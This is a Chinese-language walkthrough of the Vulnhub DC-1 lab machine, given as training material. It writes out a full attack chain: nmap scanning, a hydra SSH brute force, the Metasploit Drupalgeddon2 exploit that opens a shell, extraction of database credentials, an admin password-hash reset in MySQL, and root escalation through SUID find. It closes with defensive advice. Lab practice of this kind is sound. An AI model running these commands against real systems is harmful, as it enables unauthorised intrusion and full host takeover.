Vulnhub靶机 DC-1打靶 渗透详细过程
字数 836 2025-08-19 12:42:32

DC-1 靶机渗透测试详细教程

1. 靶机环境准备

靶机下载

2. 信息收集阶段

主机发现

arp-scan -l
# 或使用nmap
nmap -sn 192.168.0.0/24

端口扫描

nmap -p- 192.168.0.106
# 详细服务扫描
nmap -sV -A 192.168.0.106

典型扫描结果:

  • 22/tcp: SSH服务
  • 80/tcp: HTTP服务

SSH爆破尝试(可选)

hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.106

3. Web渗透

Web服务识别

  • 访问http://192.168.0.106
  • 识别出使用的是Drupal CMS

漏洞利用

使用Metasploit框架搜索Drupal相关漏洞:

msfconsole
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.0.106
set LHOST 0.0.0.0
set LPORT 4444
exploit

成功后会获得一个www-data权限的shell。

4. 初始访问与信息收集

Flag1获取

cat flag1.txt

提示: "每一个好的CMS都需要一个配置文件--你也一样。"

查找Drupal配置文件

cd /var/www/sites/default/
cat settings.php

从配置文件中获取数据库凭据:

  • 用户名: dbuser
  • 密码: R0ck3t

5. 数据库渗透

获取交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

连接MySQL数据库

mysql -u dbuser -pR0ck3t

数据库操作

SHOW DATABASES;
USE drupaldb;
SELECT * FROM users;

获取管理员用户名和加密密码(通常是admin和Fred)。

密码重置

  1. 查找Drupal密码哈希脚本:
find / -name "passwd-hash.sh" 2>/dev/null
  1. 使用脚本生成新密码哈希:
php scripts/passwd-hash.sh admin
  1. 在MySQL中更新密码:
UPDATE drupaldb.users SET pass = '$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR' WHERE name = 'admin';

6. 提权操作

Flag3提示

cat flag3.txt

提示: "特殊的PERMS将帮助查找(find)密码-但您需要-exec命令来确定如何获得阴影中的内容。"

查找SUID权限文件

find / -perm -u=s -type f 2>/dev/null
# 或
find / -user root -perm -4000 -print 2>/dev/null

发现find命令具有SUID权限。

利用find提权

find /etc/passwd -exec "/bin/sh" \;

成功获取root shell。

7. 总结

渗透路径

  1. 通过Drupalgeddon2漏洞获取初始访问
  2. 查找配置文件获取数据库凭据
  3. 通过数据库操作重置管理员密码
  4. 利用SUID权限的find命令进行提权

关键点

  • Drupal CMS的已知漏洞利用
  • 配置文件信息泄露
  • 数据库凭据存储位置
  • 密码哈希生成方法
  • SUID权限滥用提权

防御建议

  • 及时更新CMS系统
  • 配置文件权限设置
  • 数据库密码复杂度
  • 限制SUID权限命令
DC-1 靶机渗透测试详细教程 1. 靶机环境准备 靶机下载 下载地址: https://www.vulnhub.com/entry/dc-1-1,292/ 将下载的OVA文件导入到虚拟机软件中(如VMware或VirtualBox) 2. 信息收集阶段 主机发现 端口扫描 典型扫描结果 : 22/tcp: SSH服务 80/tcp: HTTP服务 SSH爆破尝试(可选) 3. Web渗透 Web服务识别 访问http://192.168.0.106 识别出使用的是Drupal CMS 漏洞利用 使用Metasploit框架搜索Drupal相关漏洞: 成功后会获得一个www-data权限的shell。 4. 初始访问与信息收集 Flag1获取 提示: "每一个好的CMS都需要一个配置文件--你也一样。" 查找Drupal配置文件 从配置文件中获取数据库凭据: 用户名: dbuser 密码: R0ck3t 5. 数据库渗透 获取交互式shell 连接MySQL数据库 数据库操作 获取管理员用户名和加密密码(通常是admin和Fred)。 密码重置 查找Drupal密码哈希脚本: 使用脚本生成新密码哈希: 在MySQL中更新密码: 6. 提权操作 Flag3提示 提示: "特殊的PERMS将帮助查找(find)密码-但您需要-exec命令来确定如何获得阴影中的内容。" 查找SUID权限文件 发现find命令具有SUID权限。 利用find提权 成功获取root shell。 7. 总结 渗透路径 通过Drupalgeddon2漏洞获取初始访问 查找配置文件获取数据库凭据 通过数据库操作重置管理员密码 利用SUID权限的find命令进行提权 关键点 Drupal CMS的已知漏洞利用 配置文件信息泄露 数据库凭据存储位置 密码哈希生成方法 SUID权限滥用提权 防御建议 及时更新CMS系统 配置文件权限设置 数据库密码复杂度 限制SUID权限命令